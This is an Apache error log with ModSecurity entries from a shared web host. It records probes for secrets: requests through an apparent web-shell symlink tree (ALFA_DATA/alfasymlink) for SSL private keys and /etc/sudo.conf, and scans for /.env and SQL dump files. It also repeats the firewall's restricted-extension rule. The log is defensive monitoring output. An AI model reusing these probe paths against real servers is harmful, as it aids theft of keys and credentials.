[tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/cb996_e7131_9efa48f7686ac160e80870b66f02a21b.key"] [unique_id "at18O7zuwN-7-5ch90SE4gAAAAo"]
[Sat Oct 24 23:49:15.827796 2026] [security2:error] [pid 2756441:tid 2756441] [client 185.191.171.2:44422] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/cb996_e7131_9efa48f7686ac160e80870b66f02a21b.key"] [unique_id "at18O7zuwN-7-5ch90SE4gAAAAo"]
[Sat Oct 24 23:49:15.828113 2026] [security2:error] [pid 2756441:tid 2756441] [client 185.191.171.2:44422] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/cb996_e7131_9efa48f7686ac160e80870b66f02a21b.key"] [unique_id "at18O7zuwN-7-5ch90SE4gAAAAo"]
[Sat Oct 24 23:49:34.179048 2026] [ssl:error] [pid 2749138:tid 2749138] (5)Input/output error: [client 54.91.122.193:37857] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:49:42.163255 2026] [ssl:error] [pid 2756441:tid 2756441] (5)Input/output error: [client 100.28.118.16:34177] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:49:46.121807 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 23.23.213.182:25635] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:49:48.674038 2026] [core:crit] [pid 2756401:tid 2756401] (13)Permission denied: [client 89.248.172.11:32014] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 23:49:54.132092 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 34.226.89.140:54362] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:49:58.138167 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 98.84.200.43:31653] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:50:02.148890 2026] [ssl:error] [pid 2749160:tid 2749160] (70014)End of file found: [client 34.233.114.237:4420] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:50:06.352632 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 23.21.148.226:61356] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:50:08.662175 2026] [core:error] [pid 2756401:tid 2756401] (13)Permission denied: [client 85.208.96.209:24902] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inode_cache/slabs
[Sat Oct 24 23:50:21.577981 2026] [core:error] [pid 2749138:tid 2749138] (13)Permission denied: [client 185.191.171.2:33208] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/MPTCPv6/cpu_slabs
[Sat Oct 24 23:50:22.274694 2026] [security2:error] [pid 2749160:tid 2749160] [client 35.169.119.108:46380] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0B00:00/physical_node/"] [unique_id "at18fvG7fKP2nlCDuzzH6gAAAAg"]
[Sat Oct 24 23:50:22.274780 2026] [security2:error] [pid 2749160:tid 2749160] [client 35.169.119.108:46380] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0B00:00/physical_node/"] [unique_id "at18fvG7fKP2nlCDuzzH6gAAAAg"]
[Sat Oct 24 23:50:26.132453 2026] [ssl:error] [pid 2756441:tid 2756441] (70014)End of file found: [client 44.206.93.215:24250] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:50:46.134398 2026] [ssl:error] [pid 2749302:tid 2749302] (70014)End of file found: [client 52.200.142.199:8339] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:50:54.192738 2026] [ssl:error] [pid 2756441:tid 2756441] (70014)End of file found: [client 100.29.63.24:46422] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:50:58.144649 2026] [ssl:error] [pid 2756401:tid 2756401] (70014)End of file found: [client 35.174.253.85:21750] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:51:02.177937 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 23.21.227.240:26225] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:51:10.151293 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 52.44.229.124:17820] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:51:18.168385 2026] [ssl:error] [pid 2748406:tid 2748406] (5)Input/output error: [client 52.204.71.8:25791] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:51:33.464199 2026] [ssl:error] [pid 2756441:tid 2756441] (70014)End of file found: [client 52.7.13.143:20781] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:51:34.158400 2026] [ssl:error] [pid 2749302:tid 2749302] (70014)End of file found: [client 35.174.141.243:36552] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:51:38.572977 2026] [security2:error] [pid 2748406:tid 2748406] [client 16.216.88.228:36864] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/sudo.conf"] [unique_id "at18yjBA89jTW6EoHYFyDQAAAAM"]
[Sat Oct 24 23:51:38.573408 2026] [security2:error] [pid 2748406:tid 2748406] [client 16.216.88.228:36864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/sudo.conf"] [unique_id "at18yjBA89jTW6EoHYFyDQAAAAM"]
[Sat Oct 24 23:51:38.573763 2026] [security2:error] [pid 2748406:tid 2748406] [client 16.216.88.228:36864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/sudo.conf"] [unique_id "at18yjBA89jTW6EoHYFyDQAAAAM"]
[Sat Oct 24 23:51:42.232335 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 52.201.155.215:4276] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:51:46.142442 2026] [ssl:error] [pid 2749138:tid 2749138] (70014)End of file found: [client 44.212.145.46:59930] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:51:50.138960 2026] [ssl:error] [pid 2749160:tid 2749160] (70014)End of file found: [client 54.166.104.83:40031] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:51:51.375809 2026] [security2:error] [pid 2748405:tid 2748405] [client 185.191.171.18:27620] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/cafb2_f0dc9_65a5d21f606e041bb1f4e738cae7c8f7.key"] [unique_id "at1811yEldkI1XsDE__7gAAAAAA"]
[Sat Oct 24 23:51:51.376340 2026] [security2:error] [pid 2748405:tid 2748405] [client 185.191.171.18:27620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/cafb2_f0dc9_65a5d21f606e041bb1f4e738cae7c8f7.key"] [unique_id "at1811yEldkI1XsDE__7gAAAAAA"]
[Sat Oct 24 23:51:51.376754 2026] [security2:error] [pid 2748405:tid 2748405] [client 185.191.171.18:27620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/cafb2_f0dc9_65a5d21f606e041bb1f4e738cae7c8f7.key"] [unique_id "at1811yEldkI1XsDE__7gAAAAAA"]
[Sat Oct 24 23:51:54.155374 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 18.214.124.6:44834] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:51:58.134778 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 54.156.55.147:38014] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:52:00.733229 2026] [security2:error] [pid 2748404:tid 2748404] [client 98.97.85.68:24631] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "at184CaQM5FksUWf32CNagAAACk"]
[Sat Oct 24 23:52:00.733502 2026] [security2:error] [pid 2748404:tid 2748404] [client 98.97.85.68:24631] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "at184CaQM5FksUWf32CNagAAACk"]
[Sat Oct 24 23:52:00.734469 2026] [security2:error] [pid 2748404:tid 2748404] [client 98.97.85.68:24631] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at184CaQM5FksUWf32CNagAAACk"]
[Sat Oct 24 23:52:06.345479 2026] [core:error] [pid 2749138:tid 2749138] (13)Permission denied: [client 54.86.59.155:39756] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory1/node0/cpu0/driver/bind
[Sat Oct 24 23:52:10.255582 2026] [ssl:error] [pid 2756401:tid 2756401] (70014)End of file found: [client 34.239.197.197:24007] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:52:14.298208 2026] [security2:error] [pid 2748406:tid 2748406] [client 98.97.85.68:63858] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/backup.sql"] [unique_id "at187jBA89jTW6EoHYFyDwAAAAM"]
[Sat Oct 24 23:52:14.298711 2026] [security2:error] [pid 2748406:tid 2748406] [client 98.97.85.68:63858] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/backup.sql"] [unique_id "at187jBA89jTW6EoHYFyDwAAAAM"]
[Sat Oct 24 23:52:14.299698 2026] [security2:error] [pid 2748406:tid 2748406] [client 98.97.85.68:63858] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at187jBA89jTW6EoHYFyDwAAAAM"]
[Sat Oct 24 23:52:15.137196 2026] [security2:error] [pid 2748406:tid 2748406] [client 98.97.85.68:63858] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/dump.sql"] [unique_id "at187zBA89jTW6EoHYFyEAAAAAM"]
[Sat Oct 24 23:52:15.137580 2026] [security2:error] [pid 2748406:tid 2748406] [client 98.97.85.68:63858] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/dump.sql"] [unique_id "at187zBA89jTW6EoHYFyEAAAAAM"]
[Sat Oct 24 23:52:15.138460 2026] [security2:error] [pid 2748406:tid 2748406] [client 98.97.85.68:63858] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at187zBA89jTW6EoHYFyEAAAAAM"]
[Sat Oct 24 23:52:16.557595 2026] [security2:error] [pid 2748406:tid 2748406] [client 98.97.85.68:63858] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/db.sql"] [unique_id "at188DBA89jTW6EoHYFyEQAAAAM"]
[Sat Oct 24 23:52:16.558044 2026] [security2:error] [pid 2748406:tid 2748406] [client 98.97.85.68:63858] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/db.sql"] [unique_id "at188DBA89jTW6EoHYFyEQAAAAM"]
[Sat Oct 24 23:52:16.558814 2026] [security2:error] [pid 2748406:tid 2748406] [client 98.97.85.68:63858] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at188DBA89jTW6EoHYFyEQAAAAM"]
[Sat Oct 24 23:52:18.129812 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 54.84.102.81:47403] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:52:26.117112 2026] [ssl:error] [pid 2756441:tid 2756441] (70014)End of file found: [client 54.156.55.147:64389] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:52:30.168394 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 44.208.193.63:9541] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:52:50.327613 2026] [ssl:error] [pid 2748404:tid 2748404] (5)Input/output error: [client 35.169.240.53:12678] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:53:06.141460 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 54.84.147.79:29249] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:53:14.128303 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 52.207.47.227:37767] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:53:38.157323 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 52.54.15.103:16568] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:53:46.176152 2026] [ssl:error] [pid 2756441:tid 2756441] (70014)End of file found: [client 52.2.4.213:58466] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:53:54.152555 2026] [ssl:error] [pid 2749160:tid 2749160] (70014)End of file found: [client 23.23.103.31:10797] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:53:58.128726 2026] [ssl:error] [pid 2749302:tid 2749302] (70014)End of file found: [client 98.83.94.113:63395] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:54:06.124813 2026] [core:error] [pid 2748405:tid 2748405] (13)Permission denied: [client 3.216.227.216:7913] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/device:12/subsystem/drivers/pvpanic/bind
[Sat Oct 24 23:54:13.462785 2026] [ssl:error] [pid 2749138:tid 2749138] (70014)End of file found: [client 185.191.171.2:40342] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:54:34.141257 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 100.28.49.152:44245] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:54:38.160045 2026] [ssl:error] [pid 2749160:tid 2749160] (70014)End of file found: [client 34.234.197.175:56086] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:54:40.581485 2026] [core:error] [pid 2748406:tid 2748406] (13)Permission denied: [client 185.191.171.8:24530] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:05.0/resource4
[Sat Oct 24 23:54:46.181784 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 100.27.153.9:54600] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:54:54.164786 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 23.23.103.31:43028] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:55:02.191945 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 3.219.81.66:27991] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:55:10.317747 2026] [ssl:error] [pid 2756401:tid 2756401] (70014)End of file found: [client 3.94.156.104:16787] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:55:14.207883 2026] [ssl:error] [pid 2749302:tid 2749302] (70014)End of file found: [client 54.210.155.69:23820] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:55:18.194958 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 3.219.81.66:56872] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:55:26.352804 2026] [ssl:error] [pid 2749138:tid 2749138] (70014)End of file found: [client 50.19.79.213:30845] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:55:46.373662 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 50.19.102.70:12832] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:55:50.200283 2026] [core:error] [pid 2748410:tid 2748410] (13)Permission denied: [client 100.29.128.75:32981] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/PNP0A03:00/device:09/eject
[Sat Oct 24 23:55:54.393833 2026] [ssl:error] [pid 2756441:tid 2756441] (70014)End of file found: [client 18.204.89.56:10640] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:55:58.231241 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 100.24.149.244:57357] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:56:02.203997 2026] [ssl:error] [pid 2749160:tid 2749160] (70014)End of file found: [client 3.229.164.203:10912] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:56:10.245609 2026] [ssl:error] [pid 2749302:tid 2749302] (70014)End of file found: [client 44.212.131.50:40598] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:56:14.699828 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 107.22.208.39:47124] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:56:22.326645 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 54.145.82.217:7276] AH02013: coalesce failed to read from data bucket
